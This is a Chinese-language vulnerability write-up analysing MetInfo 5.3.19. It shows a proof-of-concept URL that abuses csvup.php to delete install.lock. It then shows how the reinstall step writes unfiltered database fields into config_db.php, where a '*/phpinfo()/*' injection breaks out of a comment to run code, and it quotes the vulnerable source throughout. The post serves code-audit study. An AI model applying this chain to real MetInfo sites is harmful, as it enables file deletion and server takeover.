834 words
4 minutes
MetInfo5.3.19安装过程过滤不严导致Getshell(每日一洞)
2018-03-06
前言
前几天在先知看到的漏洞,就很想写个分析过程了的,因为比赛培训和在审计一个CMS拖到了今天。
环境
Web: phpstudy System: Windows 7 X64 Browser: Firefox Quantum Python version : 2.7 Tools: PhpStorm 2017.3.3、Seay源代码审计系统
任意文件删除漏洞
复现
POC
前提:需要由对应的删除权限 flienamecsv
代表要删除的文件
http://xxx.com/admin/app/batch/csvup.php?fileField=1&flienamecsv=../../../config/install.lock
执行结果
代码位置和漏洞代码
代码位置
\admin\app\batch\csvup.php
漏洞代码
<?php $depth='../'; require_once $depth.'../login/login_check.php'; setlocale(LC_ALL,array('zh_CN.gbk','zh_CN.gb2312','zh_CN.gb18030')); $codeold='gbk'; $codenew='utf-8'; $classflie=explode('_',$fileField); $classflie=explode('-',$classflie[count($classflie)-1]); $class1=$classflie[0]; $class2=$classflie[1]; $class3=$classflie[2]; $class=$class3?$class3:($class2?$class2:$class1); $classcsv=$db->get_one("select * from $met_column where id=$class"); if(!$classcsv){ metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth); } $table=moduledb($classcsv['module']); $file = fopen($flienamecsv,'r'); $fdata=fgetcsv($file); foreach($fdata as $key=>$val){ if(iconv($codeold,$codenew,$val)==$lang_columnhtmlname){$staticnum=$key;} } $numcsv=0; while ($data = fgetcsv($file)){ $staticone=iconv($codeold,$codenew,$data[$staticnum]); if($staticone!=NULL){ $static[$numcsv+1]=$staticone; $static_copy[]=$staticone; } $dataqrray[]=$data; $numcsv++; } fclose($file); @file_unlink($flienamecsv);
分析过程
- 开始的时候我就在找
$fileField
和$flienamecsv
这两个变量是怎么get过来的,分析了包含include/common.inc.php
里面的,有点类似前天写的seacms里面的写法,但是又不是从这里get过来的。我又继续找,找到了
\admin\templates\met\app\batch\contentup.html
文件里面的一个js函数再继续跟进这个函数,跳到了一个表单文件
\admin\templates\met\images\js\iframes.js
,在这里找到关于csvup.php
文件里面的get
那里的两个参数 - 分析完传参的过程,我们继续分析删除文件的过程。我们直接看
$class=$class3?$class3:($class2?$class2:$class1);
这一句就行了,我们传一个数字2
进去,判断,如果没有$class3
就要$class2
没$class2
就$class1
。这里为什么可以随便填数字,我们再跟进一下下面这个判断,如果SQL执行后$classcsv
这个为假的话就不能执行下面的删除文件命令了。我们可以用seay的审计里面的mysql监控工具来观察下: $file = fopen($flienamecsv,'r');
读取我们传入的文件
$classflie=explode('_',$fileField); $classflie=explode('-',$classflie[count($classflie)-1]); $class1=$classflie[0]; $class2=$classflie[1]; $class3=$classflie[2]; $class=$class3?$class3:($class2?$class2:$class1); $classcsv=$db->get_one("select * from $met_column where id=$class"); if(!$classcsv){ metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth); $table=moduledb($classcsv['module']); $file = fopen($flienamecsv,'r'); }
- 中间的没什么影响,我们就直接跳到文件删除这里,我们跟进一下这个函数。
@file_unlink($flienamecsv);
- 传入文件名之后判断是否为windows系统,然后判读是否存在,最后执行删除函数
unlink
\admin\include\global.func.php
function file_unlink($file_name) { if(stristr(PHP_OS,"WIN")){ $file_name=@iconv("utf-8","gbk",$file_name); } if(file_exists($file_name)) { //@chmod($file_name,0777); $area_lord = @unlink($file_name); } return $area_lord; }
重装时数据库配置文件过滤不当
复现
利用上面的删除漏洞之后再重新安装,然后在填写数据库的步骤的时候写入内容。
shell地址:http://metinfo.test/config/config_db.php
代码位置和漏洞代码
代码位置
install\index.php
漏洞代码
case 'db_setup': { if($setup==1){ $db_prefix = trim($db_prefix); $db_host = trim($db_host); $db_username = trim($db_username); $db_pass = trim($db_pass); $db_name = trim($db_name); $config="<?php /* con_db_host = \"$db_host\" con_db_id = \"$db_username\" con_db_pass = \"$db_pass\" con_db_name = \"$db_name\" tablepre = \"$db_prefix\" db_charset = \"utf8\"; */ ?>"; $fp=fopen("../config/config_db.php",'w+'); fputs($fp,$config); fclose($fp); $db = mysql_connect($db_host,$db_username,$db_pass) or die('连接数据库失败: ' . mysql_error()); if(!@mysql_select_db($db_name)){
分析过程
fopen
打开文件,讲$congfig
的内容写进配置文件。这个有就点逻辑不对了,应该输入数据库信息判断下对错再进行写文件才安全。- 为什么要
*/phpinfo()/*
这样写?因为用*/
是为了闭合上面的注释。
$config="<?php /* con_db_host = \"$db_host\" con_db_id = \"$db_username\" con_db_pass = \"$db_pass\" con_db_name = \"$db_name\" tablepre = \"$db_prefix\" db_charset = \"utf8\"; */ ?>"; $fp=fopen("../config/config_db.php",'w+'); fputs($fp,$config); fclose($fp); $db = mysql_connect($db_host,$db_username,$db_pass) or die('连接数据库失败: ' . mysql_error()); if(!@mysql_select_db($db_name)){
结束
其实说来这个洞有点鸡肋了,因为安装过后程序都会修改程序,没有写的权限。不过学习整个过程还是不错的收获。
参考
MetInfo5.3.19安装过程过滤不严导致Getshell(每日一洞)
https://fuwari.vercel.app/posts/metinfo5319-installation-process-is-not-strict-lead-to-getshell/